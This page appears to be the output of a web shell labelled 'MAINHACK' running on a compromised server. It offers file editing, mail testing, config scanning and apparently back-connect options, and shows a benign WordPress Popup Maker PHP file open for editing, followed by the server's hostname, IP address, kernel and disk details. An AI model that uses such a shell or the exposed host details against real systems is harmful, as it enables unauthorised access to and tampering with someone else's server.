[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: DataStorage.php
<?php /******************************************************************************* * Copyright (c) 2019, Code Atlantic LLC ******************************************************************************/ if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Initializes a temporary data storage engine used by core in various capacities. */ class PUM_Utils_DataStorage { /** * Retrieves stored data by key. * * Given a key, get the information from the database directly. * * @param string $key The stored option key. * @param null|mixed $default Optional. A default value to retrieve should `$value` be empty. * Default null. * * @return mixed|false The stored data, value of `$default` if not null, otherwise false. */ public static function get( $key, $default = null ) { global $wpdb; $value = $wpdb->get_var( $wpdb->prepare( "SELECT option_value FROM $wpdb->options WHERE option_name = '%s'", $key ) ); if ( empty( $value ) && ! is_null( $default ) ) { return $default; } return empty( $value ) ? false : maybe_unserialize( $value ); } /** * Write some data based on key and value. * * @param string $key The option_name. * @param mixed $value The value to store. */ public static function write( $key, $value ) { global $wpdb; $value = maybe_serialize( $value ); $data = [ 'option_name' => $key, 'option_value' => $value, 'autoload' => 'no', ]; $formats = self::get_data_formats( $value ); $wpdb->replace( $wpdb->options, $data, $formats ); } /** * Derives the formats array based on the type of $value. * * @param mixed $value Value to store. * * @return array Formats array. First and last values will always be string ('%s'). */ public static function get_data_formats( $value ) { switch ( gettype( $value ) ) { case 'integer': $formats = [ '%s', '%d', '%s' ]; break; case 'double': $formats = [ '%s', '%f', '%s' ]; break; default: case 'string': $formats = [ '%s', '%s', '%s' ]; break; } return $formats; } /** * Deletes a piece of stored data by key. * * @param string $key The stored option name to delete. * * @return int|false The number of rows deleted, or false on error. */ public static function delete( $key ) { global $wpdb; return $wpdb->delete( $wpdb->options, [ 'option_name' => $key ] ); } /** * Deletes all options matching a given RegEx pattern. * * @param string $pattern Pattern to match against option keys. * * @return int|false The number of rows deleted, or false on error. */ public static function delete_by_match( $pattern ) { global $wpdb; // Double check to make sure the batch_id got included before proceeding. if ( '^[0-9a-z\\_]+' !== $pattern && ! empty( $pattern ) ) { $query = "DELETE FROM $wpdb->options WHERE option_name REGEXP %s"; $result = $wpdb->query( $wpdb->prepare( $query, $pattern ) ); } else { $result = false; } return $result; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server.dijitaldukkanim.com.tr
Server IP: 104.247.168.220
PHP Version: 8.1.33
Server Software: Apache
System: Linux server.dijitaldukkanim.com.tr 4.18.0-553.105.1.el8_10.x86_64 #1 SMP Tue Feb 17 05:17:39 EST 2026 x86_64
HDD Total: 492.3 GB
HDD Free: 180.56 GB
Domains on IP: N/A (Requires external lookup)
System Features